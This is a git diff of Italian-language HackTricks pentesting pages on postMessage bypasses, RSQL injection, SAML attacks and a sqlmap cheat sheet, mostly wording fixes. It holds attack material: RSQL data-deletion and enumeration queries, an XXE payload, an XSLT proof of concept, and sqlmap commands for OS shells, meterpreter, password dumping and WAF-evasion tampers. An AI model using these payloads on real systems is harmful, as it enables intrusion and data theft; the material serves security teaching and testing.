- Il metodo **`search()`** di `String.prototype.search()` è destinato alle espressioni regolari, non alle stringhe. Passare qualsiasi cosa diversa da una regexp porta a una conversione implicita in regex, rendendo il metodo potenzialmente insicuro. Questo perché in regex, un punto (.) agisce come un carattere jolly, consentendo di bypassare la validazione con domini appositamente creati. Ad esempio:
```javascript
"https://www.safedomain.com".search("www.s.fedomain.com")
@ -113,7 +111,7 @@ message: "'\"<b>\\",
result.message // "&#39;&quot;&lt;b&gt;\"
```
- Bypassare l'escape:
- Bypassando l'escape:
```javascript
result = u(new Error("'\"<b>\\"))
@ -124,13 +122,13 @@ Nel contesto di questa vulnerabilità, l'oggetto `File` è notevolmente sfruttab
- La proprietà `document.domain` in JavaScript può essere impostata da uno script per accorciare il dominio, consentendo un'applicazione più rilassata della politica di stessa origine all'interno dello stesso dominio padre.
### e.origin == window.origin bypass
### bypass di e.origin == window.origin
Quando si incorpora una pagina web all'interno di un **iframe sandboxed** utilizzando %%%%%%, è cruciale comprendere che l'origine dell'iframe sarà impostata su null. Questo è particolarmente importante quando si trattano **attributi sandbox** e le loro implicazioni sulla sicurezza e funzionalità.
Quando si incorpora una pagina web all'interno di un **iframe sandboxed** utilizzando %%%%%%, è fondamentale comprendere che l'origine dell'iframe sarà impostata su null. Questo è particolarmente importante quando si trattano **attributi sandbox** e le loro implicazioni sulla sicurezza e sulla funzionalità.
Specificando **`allow-popups`** nell'attributo sandbox, qualsiasi finestra popup aperta dall'interno dell'iframe eredita le restrizioni sandbox del suo genitore. Ciò significa che a meno che l'attributo **`allow-popups-to-escape-sandbox`** non sia incluso, l'origine della finestra popup è anch'essa impostata su `null`, allineandosi con l'origine dell'iframe.
Di conseguenza, quando una popup viene aperta in queste condizioni e un messaggio viene inviato dall'iframe alla popup utilizzando **`postMessage`**, sia il mittente che il destinatario hanno le loro origini impostate su `null`. Questa situazione porta a uno scenario in cui **`e.origin == window.origin`** valuta a true (`null == null`), poiché sia l'iframe che la popup condividono lo stesso valore di origine di `null`.
Di conseguenza, quando una popup viene aperta in queste condizioni e un messaggio viene inviato dall'iframe alla popup utilizzando **`postMessage`**, sia il mittente che il destinatario hanno le loro origini impostate su `null`. Questa situazione porta a uno scenario in cui **`e.origin == window.origin`** risulta vero (`null == null`), poiché sia l'iframe che la popup condividono lo stesso valore di origine di `null`.
Per ulteriori informazioni **leggi**:
@ -138,7 +136,7 @@ Per ulteriori informazioni **leggi**:
bypassing-sop-with-iframes-1.md
{{#endref}}
### Bypassare e.source
### Bypass di e.source
È possibile controllare se il messaggio proviene dalla stessa finestra in cui lo script sta ascoltando (particolarmente interessante per **Content Scripts delle estensioni del browser** per controllare se il messaggio è stato inviato dalla stessa pagina):
```javascript
@ -158,7 +156,7 @@ bypassing-sop-with-iframes-2.md
### Bypass dell'header X-Frame
Per eseguire questi attacchi, idealmente dovresti essere in grado di **mettere la pagina web della vittima** all'interno di un `iframe`. Ma alcuni header come `X-Frame-Header` possono **prevenire** quel **comportamento**.\
In quei scenari puoi comunque utilizzare un attacco meno furtivo. Puoi aprire una nuova scheda per l'applicazione web vulnerabile e comunicare con essa:
In questi scenari puoi comunque utilizzare un attacco meno furtivo. Puoi aprire una nuova scheda per l'applicazione web vulnerabile e comunicare con essa:
```html
<script>
var w=window.open("<url>")
@ -214,9 +212,9 @@ setTimeout(get_code, 2000)
```
Per **maggiori informazioni**:
- Link alla pagina su [**prototype pollution**](../deserialization/nodejs-proto-prototype-pollution/index.html)
- Link alla pagina su [**inquinamento del prototipo**](../deserialization/nodejs-proto-prototype-pollution/index.html)
- Link alla pagina su [**XSS**](../xss-cross-site-scripting/index.html)
- Link alla pagina su [**client side prototype pollution to XSS**](../deserialization/nodejs-proto-prototype-pollution/index.html#client-side-prototype-pollution-to-xss)
- Link alla pagina su [**inquinamento del prototipo lato client a XSS**](../deserialization/nodejs-proto-prototype-pollution/index.html#client-side-prototype-pollution-to-xss)
## Riferimenti

18
src/pentesting-web/rsql-injection.md
View File

@ -1,13 +1,9 @@
# RSQL Injection
## RSQL Injection
{{#include ../banners/hacktricks-training.md}}
## RSQL Injection
## Cos'è RSQL?
RSQL è un linguaggio di query progettato per il filtraggio parametrizzato degli input nelle API RESTful. Basato su FIQL (Feed Item Query Language), specificato originariamente da Mark Nottingham per interrogare i feed Atom, RSQL si distingue per la sua semplicità e la capacità di esprimere query complesse in modo compatto e conforme agli URI su HTTP. Questo lo rende un'ottima scelta come linguaggio di query generale per la ricerca degli endpoint REST.
RSQL è un linguaggio di query progettato per il filtraggio parametrizzato degli input nelle API RESTful. Basato su FIQL (Feed Item Query Language), originariamente specificato da Mark Nottingham per interrogare i feed Atom, RSQL si distingue per la sua semplicità e la capacità di esprimere query complesse in modo compatto e conforme agli URI su HTTP. Questo lo rende un'ottima scelta come linguaggio di query generale per la ricerca negli endpoint REST.
## Panoramica
L'iniezione RSQL è una vulnerabilità nelle applicazioni web che utilizzano RSQL come linguaggio di query nelle API RESTful. Simile a [SQL Injection](https://owasp.org/www-community/attacks/SQL_Injection) e [LDAP Injection](https://owasp.org/www-community/attacks/LDAP_Injection), questa vulnerabilità si verifica quando i filtri RSQL non sono adeguatamente sanitizzati, consentendo a un attaccante di iniettare query dannose per accedere, modificare o eliminare dati senza autorizzazione.
@ -23,7 +19,7 @@ Se l'applicazione non convalida correttamente l'input dell'utente, un attaccante
```bash
/products?filter=id=in=(1,2,3);delete_all==true
```
Or anche approfittare per estrarre informazioni sensibili con query booleane o sottoquery annidate.
Oppure approfittare per estrarre informazioni sensibili con query booleane o sottoquery annidate.
## Rischi
- **Esposizione di dati sensibili:** Un attaccante può recuperare informazioni che non dovrebbero essere accessibili.
@ -35,8 +31,8 @@ Or anche approfittare per estrarre informazioni sensibili con query booleane o s
## Operatori RSQL supportati
| Operatore | Descrizione | Esempio |
|:----: |:----: |:------------------:|
| `;` / `and` | Operatore logico **AND**. Filtra le righe dove *entrambe* le condizioni sono *vere* | `/api/v2/myTable?q=columnA==valueA;columnB==valueB` |
| `,` / `or` | Operatore logico **OR**. Filtra le righe dove *almeno una* condizione è *vera*| `/api/v2/myTable?q=columnA==valueA,columnB==valueB` |
| `;` / `and` | Operatore logico **AND**. Filtra righe dove *entrambe* le condizioni sono *vere* | `/api/v2/myTable?q=columnA==valueA;columnB==valueB` |
| `,` / `or` | Operatore logico **OR**. Filtra righe dove *almeno una* condizione è *vera*| `/api/v2/myTable?q=columnA==valueA,columnB==valueB` |
| `==` | Esegue una query di **uguaglianza**. Restituisce tutte le righe da *myTable* dove i valori in *columnA* sono esattamente uguali a *queryValue* | `/api/v2/myTable?q=columnA==queryValue` |
| `=q=` | Esegue una query di **ricerca**. Restituisce tutte le righe da *myTable* dove i valori in *columnA* contengono *queryValue* | `/api/v2/myTable?q=columnA=q=queryValue` |
| `=like=` | Esegue una query di **similitudine**. Restituisce tutte le righe da *myTable* dove i valori in *columnA* sono simili a *queryValue* | `/api/v2/myTable?q=columnA=like=queryValue` |
@ -62,7 +58,7 @@ Or anche approfittare per estrarre informazioni sensibili con query booleane o s
- genres=in=(sci-fi,action);genres=out=(romance,animated,horror),director==Que*Tarantino
- genres=in=(sci-fi,action) and genres=out=(romance,animated,horror) or director==Que*Tarantino
**Nota**: Tabella basata su informazioni da [**rsql-parser**](https://github.com/jirutka/rsql-parser) applicazione.
**Nota**: Tabella basata su informazioni da [**rsql-parser**](https://github.com/jirutka/rsql-parser).
## Filtri comuni
Questi filtri aiutano a perfezionare le query nelle API:
@ -125,7 +121,7 @@ Content-Length: 85
}]
}
```
Sebbene ci si aspetti un `/api/registrations?email=<emailAccount>`, è possibile utilizzare filtri RSQL per tentare di enumerare e/o estrarre informazioni sugli utenti attraverso l'uso di operatori speciali:
Sebbene ci si aspetti un `/api/registrations?email=<emailAccount>`, è possibile utilizzare i filtri RSQL per tentare di enumerare e/o estrarre informazioni sugli utenti attraverso l'uso di operatori speciali:
### Request
```
GET /api/registrations?filter[userAccounts]=email=='test@test.com' HTTP/1.1
@ -459,7 +455,7 @@ Access-Control-Allow-Origin: *
}, {
.......
```
## Impersonare o Riferimenti Diretti a Oggetti Insicuri (IDOR)
## Impersonare o Riferimenti Diretti a Oggetti Insecure (IDOR)
Oltre all'uso del parametro `filter`, è possibile utilizzare altri parametri come `include` che consente di includere nel risultato determinati parametri (ad es. lingua, paese, password...).
Nell'esempio seguente, vengono mostrate le informazioni del nostro profilo utente:

36
src/pentesting-web/saml-attacks/README.md
View File

@ -1,24 +1,22 @@
# SAML Attacks
## SAML Attacks
{{#include ../../banners/hacktricks-training.md}}
## Basic Information
## Informazioni di base
{{#ref}}
saml-basics.md
{{#endref}}
## Tool
## Strumento
[**SAMLExtractor**](https://github.com/fadyosman/SAMLExtractor): Uno strumento che può prendere un URL o un elenco di URL e restituisce l'URL di consumo SAML.
## XML round-trip
## Giro di andata e ritorno XML
In XML, la parte firmata dell'XML viene salvata in memoria, quindi viene eseguita una codifica/decodifica e la firma viene controllata. Idealmente, quella codifica/decodifica non dovrebbe cambiare i dati, ma basandosi su quel scenario, **i dati controllati e i dati originali potrebbero non essere gli stessi**.
Per esempio, controlla il seguente codice:
Ad esempio, controlla il seguente codice:
```ruby
require 'rexml/document'
@ -42,7 +40,7 @@ Questo è come REXML ha visto il documento XML originale dal programma sopra:
![https://mattermost.com/blog/securing-xml-implementations-across-the-web/](<../../images/image (1001).png>)
E questo è come lo ha visto dopo un giro di parsing e serializzazione:
E questo è come lo ha visto dopo un ciclo di parsing e serializzazione:
![https://mattermost.com/blog/securing-xml-implementations-across-the-web/](<../../images/image (445).png>)
@ -51,16 +49,16 @@ Per ulteriori informazioni sulla vulnerabilità e su come abusarne:
- [https://mattermost.com/blog/securing-xml-implementations-across-the-web/](https://mattermost.com/blog/securing-xml-implementations-across-the-web/)
- [https://joonas.fi/2021/08/saml-is-insecure-by-design/](https://joonas.fi/2021/08/saml-is-insecure-by-design/)
## Attacchi di XML Signature Wrapping
## Attacchi di Wrapping della Firma XML
Negli **attacchi di XML Signature Wrapping (XSW)**, gli avversari sfruttano una vulnerabilità che si verifica quando i documenti XML vengono elaborati attraverso due fasi distinte: **validazione della firma** e **invocazione della funzione**. Questi attacchi comportano la modifica della struttura del documento XML. In particolare, l'attaccante **inietta elementi falsificati** che non compromettono la validità della Firma XML. Questa manipolazione mira a creare una discrepanza tra gli elementi analizzati dalla **logica dell'applicazione** e quelli controllati dal **modulo di verifica della firma**. Di conseguenza, mentre la Firma XML rimane tecnicamente valida e supera la verifica, la logica dell'applicazione elabora gli **elementi fraudolenti**. Di conseguenza, l'attaccante bypassa efficacemente la **protezione dell'integrità** e l'**autenticazione dell'origine** della Firma XML, consentendo l'**iniezione di contenuti arbitrari** senza rilevamento.
Negli **attacchi di Wrapping della Firma XML (XSW)**, gli avversari sfruttano una vulnerabilità che si verifica quando i documenti XML vengono elaborati attraverso due fasi distinte: **validazione della firma** e **invocazione della funzione**. Questi attacchi comportano la modifica della struttura del documento XML. In particolare, l'attaccante **inietta elementi falsificati** che non compromettono la validità della Firma XML. Questa manipolazione mira a creare una discrepanza tra gli elementi analizzati dalla **logica dell'applicazione** e quelli controllati dal **modulo di verifica della firma**. Di conseguenza, mentre la Firma XML rimane tecnicamente valida e supera la verifica, la logica dell'applicazione elabora gli **elementi fraudolenti**. Di conseguenza, l'attaccante bypassa efficacemente la **protezione dell'integrità** e l'**autenticazione dell'origine** della Firma XML, consentendo l'**iniezione di contenuti arbitrari** senza rilevamento.
I seguenti attacchi si basano su [**questo post del blog**](https://epi052.gitlab.io/notes-to-self/blog/2019-03-13-how-to-test-saml-a-methodology-part-two/) **e** [**questo documento**](https://www.usenix.org/system/files/conference/usenixsecurity12/sec12-final91.pdf). Quindi controllali per ulteriori dettagli.
### XSW #1
- **Strategia**: Viene aggiunto un nuovo elemento radice contenente la firma.
- **Implicazione**: Il validatore potrebbe confondersi tra il legittimo "Response -> Assertion -> Subject" e il "Response -> Assertion -> Subject" malvagio dell'attaccante, portando a problemi di integrità dei dati.
- **Implicazione**: Il validatore potrebbe confondersi tra il legittimo "Response -> Assertion -> Subject" e il "nuovo Response -> Assertion -> Subject" dell'attaccante, portando a problemi di integrità dei dati.
![https://epi052.gitlab.io/notes-to-self/img/saml/xsw-1.svg](<../../images/image (506).png>)
@ -119,13 +117,13 @@ Puoi utilizzare l'estensione Burp [**SAML Raider**](https://portswigger.net/bapp
## XXE
Se non sai che tipo di attacchi sono XXE, ti preghiamo di leggere la seguente pagina:
Se non sai che tipo di attacchi sono gli XXE, ti preghiamo di leggere la seguente pagina:
{{#ref}}
../xxe-xee-xml-external-entity.md
{{#endref}}
Le risposte SAML sono **documenti XML deflazionati e codificati in base64** e possono essere suscettibili ad attacchi di XML External Entity (XXE). Manipolando la struttura XML della risposta SAML, gli attaccanti possono tentare di sfruttare le vulnerabilità XXE. Ecco come un tale attacco può essere visualizzato:
Le risposte SAML sono **documenti XML deflazionati e codificati in base64** e possono essere suscettibili ad attacchi di Entità Esterna XML (XXE). Manipolando la struttura XML della Risposta SAML, gli attaccanti possono tentare di sfruttare le vulnerabilità XXE. Ecco come un tale attacco può essere visualizzato:
```xml
<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE foo [
@ -159,7 +157,7 @@ Per ulteriori informazioni su XSLT vai a:
Le trasformazioni del linguaggio di foglio di stile estensibile (XSLT) possono essere utilizzate per trasformare documenti XML in vari formati come HTML, JSON o PDF. È fondamentale notare che **le trasformazioni XSLT vengono eseguite prima della verifica della firma digitale**. Ciò significa che un attacco può avere successo anche senza una firma valida; una firma autofirmata o non valida è sufficiente per procedere.
Qui puoi trovare un **POC** per controllare questo tipo di vulnerabilità, nella pagina hacktricks menzionata all'inizio di questa sezione puoi trovare payload.
Qui puoi trovare un **POC** per controllare questo tipo di vulnerabilità, nella pagina hacktricks menzionata all'inizio di questa sezione puoi trovare i payload.
```xml
<ds:Signature xmlns:ds="http://www.w3.org/2000/09/xmldsig#">
...
@ -187,7 +185,7 @@ Controlla anche questo intervento: [https://www.youtube.com/watch?v=WHn-6xHL7mI]
## XML Signature Exclusion <a href="#xml-signature-exclusion" id="xml-signature-exclusion"></a>
L'**XML Signature Exclusion** osserva il comportamento delle implementazioni SAML quando l'elemento Signature non è presente. Se questo elemento è mancante, **la validazione della firma potrebbe non avvenire**, rendendola vulnerabile. È possibile testare questo alterando i contenuti che di solito vengono verificati dalla firma.
L'**XML Signature Exclusion** osserva il comportamento delle implementazioni SAML quando l'elemento Signature non è presente. Se questo elemento è mancante, **la validazione della firma potrebbe non avvenire**, rendendolo vulnerabile. È possibile testare questo alterando i contenuti che di solito vengono verificati dalla firma.
![https://epi052.gitlab.io/notes-to-self/img/saml/signature-exclusion.svg](<../../images/image (457).png>)
@ -195,7 +193,7 @@ L'**XML Signature Exclusion** osserva il comportamento delle implementazioni SAM
Puoi anche utilizzare l'estensione Burp [**SAML Raider**](https://portswigger.net/bappstore/c61cfa893bb14db4b01775554f7b802e). Intercetta la risposta SAML e clicca su `Remove Signatures`. In questo modo **tutti** gli elementi Signature vengono rimossi.
Con le firme rimosse, consenti alla richiesta di procedere verso il target. Se la firma non è richiesta dal Servizio
Con le firme rimosse, consenti alla richiesta di procedere verso il target. Se la Signature non è richiesta dal Servizio
## Certificate Faking <a href="#certificate-faking" id="certificate-faking"></a>
@ -217,13 +215,13 @@ I seguenti passaggi delineano il processo utilizzando l'estensione Burp [SAML Ra
## Token Recipient Confusion / Service Provider Target Confusion <a href="#token-recipient-confusion" id="token-recipient-confusion"></a>
La Token Recipient Confusion e la Service Provider Target Confusion comportano il controllo se il **Service Provider valida correttamente il destinatario previsto di una risposta**. In sostanza, un Service Provider dovrebbe rifiutare una risposta di autenticazione se era destinata a un provider diverso. L'elemento critico qui è il campo **Recipient**, trovato all'interno dell'elemento **SubjectConfirmationData** di una risposta SAML. Questo campo specifica un URL che indica dove deve essere inviata l'asserzione. Se il destinatario effettivo non corrisponde allo Service Provider previsto, l'asserzione dovrebbe essere considerata non valida.
La Token Recipient Confusion e la Service Provider Target Confusion comportano il controllo se il **Service Provider valida correttamente il destinatario previsto di una risposta**. In sostanza, un Service Provider dovrebbe rifiutare una risposta di autenticazione se era destinata a un provider diverso. L'elemento critico qui è il campo **Recipient**, trovato all'interno dell'elemento **SubjectConfirmationData** di una risposta SAML. Questo campo specifica un URL che indica dove deve essere inviata l'asserzione. Se il destinatario effettivo non corrisponde al Service Provider previsto, l'asserzione dovrebbe essere considerata non valida.
#### **Come Funziona**
Affinché un attacco di Token Recipient Confusion (SAML-TRC) sia fattibile, devono essere soddisfatte determinate condizioni. In primo luogo, deve esserci un account valido su un Service Provider (denominato SP-Legit). In secondo luogo, il Service Provider target (SP-Target) deve accettare token dallo stesso Identity Provider che serve SP-Legit.
Affinché un attacco di Token Recipient Confusion (SAML-TRC) sia fattibile, devono essere soddisfatte determinate condizioni. Innanzitutto, deve esserci un account valido su un Service Provider (denominato SP-Legit). In secondo luogo, il Service Provider mirato (SP-Target) deve accettare token dallo stesso Identity Provider che serve SP-Legit.
Il processo di attacco è semplice in queste condizioni. Una sessione autentica viene avviata con SP-Legit tramite l'Identity Provider condiviso. La risposta SAML dall'Identity Provider a SP-Legit viene intercettata. Questa risposta SAML intercettata, originariamente destinata a SP-Legit, viene quindi reindirizzata a SP-Target. Il successo di questo attacco è misurato dall'accettazione dell'asserzione da parte di SP-Target, concedendo accesso alle risorse sotto lo stesso nome account utilizzato per SP-Legit.
Il processo di attacco è semplice in queste condizioni. Viene avviata una sessione autentica con SP-Legit tramite l'Identity Provider condiviso. La risposta SAML dall'Identity Provider a SP-Legit viene intercettata. Questa risposta SAML intercettata, originariamente destinata a SP-Legit, viene quindi reindirizzata a SP-Target. Il successo di questo attacco è misurato dall'accettazione dell'asserzione da parte di SP-Target, concedendo accesso alle risorse sotto lo stesso nome account utilizzato per SP-Legit.
```python
# Example to simulate interception and redirection of SAML Response
def intercept_and_redirect_saml_response(saml_response, sp_target_url):
@ -258,7 +256,7 @@ https://carbon-prototype.uberinternal.com/oidauth/prompt?base=https%3A%2F%2Fcarb
```
Questo ha rivelato che il parametro `base` accetta un URL. Considerando ciò, è emersa l'idea di sostituire l'URL con `javascript:alert(123);` nel tentativo di avviare un attacco XSS (Cross-Site Scripting).
### Mass Exploitation
### Sfruttamento di massa
[Da questa ricerca](https://blog.fadyothman.com/how-i-discovered-xss-that-affects-over-20-uber-subdomains/):

120
src/pentesting-web/sql-injection/sqlmap.md
View File

@ -1,6 +1,10 @@
# Argomenti di base per SQLmap
# SQLMap
## Generico
{{#include ../../banners/hacktricks-training.md}}
## Argomenti di base per SQLmap
### Generico
```bash
-u "<URL>"
-p "<PARAM TO TEST>"
@ -17,9 +21,9 @@
--auth-cred="<AUTH>" #HTTP authentication credentials (name:password)
--proxy=PROXY
```
## Recuperare informazioni
### Recuperare informazioni
### Interno
#### Interno
```bash
--current-user #Get current user
--is-dba #Check if current user is Admin
@ -27,7 +31,7 @@
--users #Get usernames od DB
--passwords #Get passwords of users in DB
```
### Dati DB
#### Dati DB
```bash
--all #Retrieve everything
--dump #Dump DBMS database table entries
@ -36,24 +40,24 @@
--columns #Columns of a table ( -D <DB NAME> -T <TABLE NAME> )
-D <DB NAME> -T <TABLE NAME> -C <COLUMN NAME> #Dump column
```
# Luogo di Iniezione
## Injection place
## Dalla cattura di Burp/ZAP
### From Burp/ZAP capture
Cattura la richiesta e crea un file req.txt
```bash
sqlmap -r req.txt --current-user
```
## Iniezione di Richiesta GET
### Iniezione di Richiesta GET
```bash
sqlmap -u "http://example.com/?id=1" -p id
sqlmap -u "http://example.com/?id=*" -p id
```
## Iniezione di Richiesta POST
### Iniezione di Richiesta POST
```bash
sqlmap -u "http://example.com" --data "username=*&password=*"
```
## Iniezioni negli Header e altri Metodi HTTP
### Iniezioni negli Header e altri Metodi HTTP
```bash
#Inside cookie
sqlmap -u "http://example.com" --cookie "mycookies=*"
@ -67,12 +71,12 @@ sqlmap --method=PUT -u "http://example.com" --headers="referer:*"
#The injection is located at the '*'
```
## Iniezione di secondo ordine
### Iniezione di secondo ordine
```bash
python sqlmap.py -r /tmp/r.txt --dbms MySQL --second-order "http://targetapp/wishlist" -v 3
sqlmap -r 1.txt -dbms MySQL -second-order "http://<IP/domain>/joomla/administrator/index.php" -D "joomla" -dbs
```
## Shell
### Shell
```bash
#Exec command
python sqlmap.py -u "http://example.com/?id=1" -p id --os-cmd whoami
@ -83,7 +87,7 @@ python sqlmap.py -u "http://example.com/?id=1" -p id --os-shell
#Dropping a reverse-shell / meterpreter
python sqlmap.py -u "http://example.com/?id=1" -p id --os-pwn
```
## Scansiona un sito web con SQLmap e auto-sfrutta
### Esegui la scansione di un sito web con SQLmap e auto-sfrutta
```bash
sqlmap -u "http://example.com/" --crawl=1 --random-agent --batch --forms --threads=5 --level=5 --risk=3
@ -91,22 +95,22 @@ sqlmap -u "http://example.com/" --crawl=1 --random-agent --batch --forms --threa
--crawl = how deep you want to crawl a site
--forms = Parse and test forms
```
# Personalizzazione dell'Iniezione
## Personalizzazione dell'iniezione
## Imposta un suffisso
### Imposta un suffisso
```bash
python sqlmap.py -u "http://example.com/?id=1" -p id --suffix="-- "
```
## Prefisso
### Prefisso
```bash
python sqlmap.py -u "http://example.com/?id=1" -p id --prefix="') "
```
## Aiuto nella ricerca di iniezione boolean
### Aiuto nella ricerca di iniezione boolean
```bash
# The --not-string "string" will help finding a string that does not appear in True responses (for finding boolean blind injection)
sqlmap -r r.txt -p id --not-string ridiculous --batch
```
## Modifica
### Tamper
```bash
--tamper=name_of_the_tamper
#In kali you can see all the tampers in /usr/share/sqlmap/tamper
@ -114,50 +118,50 @@ sqlmap -r r.txt -p id --not-string ridiculous --batch
| Tamper | Descrizione |
| :--------------------------- | :--------------------------------------------------------------------------------------------------------------------------------- |
| apostrophemask.py | Sostituisce il carattere apostrofo con il suo corrispondente a larghezza completa UTF-8 |
| apostrophenullencode.py | Sostituisce il carattere apostrofo con il suo corrispondente illegale a doppio unicode |
| appendnullbyte.py | Aggiunge un carattere NULL codificato alla fine del payload |
| apostrophenullencode.py | Sostituisce il carattere apostrofo con il suo corrispondente illegale a doppio unicode |
| appendnullbyte.py | Aggiunge un carattere NULL codificato alla fine del payload |
| base64encode.py | Codifica in Base64 tutti i caratteri in un dato payload |
| between.py | Sostituisce l'operatore maggiore di \('&gt;'\) con 'NOT BETWEEN 0 AND \#' |
| bluecoat.py | Sostituisce il carattere spazio dopo l'istruzione SQL con un carattere vuoto casuale valido. Successivamente sostituisce il carattere = con l'operatore LIKE |
| chardoubleencode.py | Codifica due volte in url tutti i caratteri in un dato payload \(non elaborando quelli già codificati\) |
| bluecoat.py | Sostituisce il carattere di spazio dopo l'istruzione SQL con un carattere vuoto casuale valido. Successivamente sostituisce il carattere = con l'operatore LIKE |
| chardoubleencode.py | Codifica doppio url tutti i caratteri in un dato payload \(non elaborando quelli già codificati\) |
| commalesslimit.py | Sostituisce istanze come 'LIMIT M, N' con 'LIMIT N OFFSET M' |
| commalessmid.py | Sostituisce istanze come 'MID\(A, B, C\)' con 'MID\(A FROM B FOR C\)' |
| concat2concatws.py | Sostituisce istanze come 'CONCAT\(A, B\)' con 'CONCAT_WS\(MID\(CHAR\(0\), 0, 0\), A, B\)' |
| charencode.py | Codifica in url tutti i caratteri in un dato payload \(non elaborando quelli già codificati\) |
| charunicodeencode.py | Codifica in unicode-url i caratteri non codificati in un dato payload \(non elaborando quelli già codificati\). "%u0022" |
| charunicodeescape.py | Codifica in unicode-url i caratteri non codificati in un dato payload \(non elaborando quelli già codificati\). "\u0022" |
| equaltolike.py | Sostituisce tutte le occorrenze dell'operatore uguale \('='\) con l'operatore 'LIKE' |
| escapequotes.py | Escape con slash le virgolette \(' e "\) |
| greatest.py | Sostituisce l'operatore maggiore di \('&gt;'\) con il corrispondente 'GREATEST' |
| halfversionedmorekeywords.py | Aggiunge un commento MySQL versionato prima di ogni parola chiave |
| ifnull2ifisnull.py | Sostituisce istanze come 'IFNULL\(A, B\)' con 'IF\(ISNULL\(A\), B, A\)' |
| modsecurityversioned.py | Racchiude la query completa con un commento versionato |
| modsecurityzeroversioned.py | Racchiude la query completa con un commento a zero-versione |
| multiplespaces.py | Aggiunge spazi multipli attorno alle parole chiave SQL |
| commalessmid.py | Sostituisce istanze come 'MID\(A, B, C\)' con 'MID\(A FROM B FOR C\)' |
| concat2concatws.py | Sostituisce istanze come 'CONCAT\(A, B\)' con 'CONCAT_WS\(MID\(CHAR\(0\), 0, 0\), A, B\)' |
| charencode.py | Codifica url tutti i caratteri in un dato payload \(non elaborando quelli già codificati\) |
| charunicodeencode.py | Codifica unicode-url i caratteri non codificati in un dato payload \(non elaborando quelli già codificati\). "%u0022" |
| charunicodeescape.py | Codifica unicode-url i caratteri non codificati in un dato payload \(non elaborando quelli già codificati\). "\u0022" |
| equaltolike.py | Sostituisce tutte le occorrenze dell'operatore uguale \('='\) con l'operatore 'LIKE' |
| escapequotes.py | Escape con barra delle virgolette \(' e "\) |
| greatest.py | Sostituisce l'operatore maggiore di \('&gt;'\) con il corrispondente 'GREATEST' |
| halfversionedmorekeywords.py | Aggiunge un commento MySQL versionato prima di ogni parola chiave |
| ifnull2ifisnull.py | Sostituisce istanze come 'IFNULL\(A, B\)' con 'IF\(ISNULL\(A\), B, A\)' |
| modsecurityversioned.py | Racchiude la query completa con un commento versionato |
| modsecurityzeroversioned.py | Racchiude la query completa con un commento a zero versione |
| multiplespaces.py | Aggiunge spazi multipli attorno alle parole chiave SQL |
| nonrecursivereplacement.py | Sostituisce parole chiave SQL predefinite con rappresentazioni adatte per la sostituzione \(e.g. .replace\("SELECT", ""\)\) filtri |
| percentage.py | Aggiunge un simbolo di percentuale \('%'\) davanti a ogni carattere |
| overlongutf8.py | Converte tutti i caratteri in un dato payload \(non elaborando quelli già codificati\) |
| randomcase.py | Sostituisce ogni carattere parola chiave con un valore di caso casuale |
| randomcomments.py | Aggiunge commenti casuali alle parole chiave SQL |
| securesphere.py | Aggiunge una stringa appositamente creata |
| sp_password.py | Aggiunge 'sp_password' alla fine del payload per l'oscuramento automatico dai log DBMS |
| space2comment.py | Sostituisce il carattere spazio \(' '\) con commenti |
| space2dash.py | Sostituisce il carattere spazio \(' '\) con un commento dash \('--'\) seguito da una stringa casuale e una nuova riga \('\n'\) |
| space2hash.py | Sostituisce il carattere spazio \(' '\) con un carattere pound \('\#'\) seguito da una stringa casuale e una nuova riga \('\n'\) |
| space2morehash.py | Sostituisce il carattere spazio \(' '\) con un carattere pound \('\#'\) seguito da una stringa casuale e una nuova riga \('\n'\) |
| space2mssqlblank.py | Sostituisce il carattere spazio \(' '\) con un carattere vuoto casuale da un insieme valido di caratteri alternativi |
| space2mssqlhash.py | Sostituisce il carattere spazio \(' '\) con un carattere pound \('\#'\) seguito da una nuova riga \('\n'\) |
| space2mysqlblank.py | Sostituisce il carattere spazio \(' '\) con un carattere vuoto casuale da un insieme valido di caratteri alternativi |
| space2mysqldash.py | Sostituisce il carattere spazio \(' '\) con un commento dash \('--'\) seguito da una nuova riga \('\n'\) |
| space2plus.py | Sostituisce il carattere spazio \(' '\) con un più \('+'\) |
| space2randomblank.py | Sostituisce il carattere spazio \(' '\) con un carattere vuoto casuale da un insieme valido di caratteri alternativi |
| symboliclogical.py | Sostituisce gli operatori logici AND e OR con i loro corrispondenti simbolici \(&& e |
| unionalltounion.py | Sostituisce UNION ALL SELECT con UNION SELECT |
| unmagicquotes.py | Sostituisce il carattere virgolette \('\) con una combinazione multi-byte %bf%27 insieme a un commento generico alla fine \(per farlo funzionare\) |
| uppercase.py | Sostituisce ogni carattere parola chiave con il valore maiuscolo 'INSERT' |
| varnish.py | Aggiunge un'intestazione HTTP 'X-originating-IP' |
| versionedkeywords.py | Racchiude ogni parola chiave non funzione con un commento MySQL versionato |
| versionedmorekeywords.py | Racchiude ogni parola chiave con un commento MySQL versionato |
| xforwardedfor.py | Aggiunge un'intestazione HTTP falsa 'X-Forwarded-For' |
| overlongutf8.py | Converte tutti i caratteri in un dato payload \(non elaborando quelli già codificati\) |
| randomcase.py | Sostituisce ogni carattere della parola chiave con un valore di caso casuale |
| randomcomments.py | Aggiunge commenti casuali alle parole chiave SQL |
| securesphere.py | Aggiunge una stringa appositamente creata |
| sp_password.py | Aggiunge 'sp_password' alla fine del payload per l'oscuramento automatico dai log DBMS |
| space2comment.py | Sostituisce il carattere di spazio \(' '\) con commenti |
| space2dash.py | Sostituisce il carattere di spazio \(' '\) con un commento a trattino \('--'\) seguito da una stringa casuale e una nuova riga \('\n'\) |
| space2hash.py | Sostituisce il carattere di spazio \(' '\) con un carattere di cancelletto \('\#'\) seguito da una stringa casuale e una nuova riga \('\n'\) |
| space2morehash.py | Sostituisce il carattere di spazio \(' '\) con un carattere di cancelletto \('\#'\) seguito da una stringa casuale e una nuova riga \('\n'\) |
| space2mssqlblank.py | Sostituisce il carattere di spazio \(' '\) con un carattere vuoto casuale da un insieme valido di caratteri alternativi |
| space2mssqlhash.py | Sostituisce il carattere di spazio \(' '\) con un carattere di cancelletto \('\#'\) seguito da una nuova riga \('\n'\) |
| space2mysqlblank.py | Sostituisce il carattere di spazio \(' '\) con un carattere vuoto casuale da un insieme valido di caratteri alternativi |
| space2mysqldash.py | Sostituisce il carattere di spazio \(' '\) con un commento a trattino \('--'\) seguito da una nuova riga \('\n'\) |
| space2plus.py | Sostituisce il carattere di spazio \(' '\) con un più \('+'\) |
| space2randomblank.py | Sostituisce il carattere di spazio \(' '\) con un carattere vuoto casuale da un insieme valido di caratteri alternativi |
| symboliclogical.py | Sostituisce gli operatori logici AND e OR con i loro corrispondenti simbolici \(&& e |
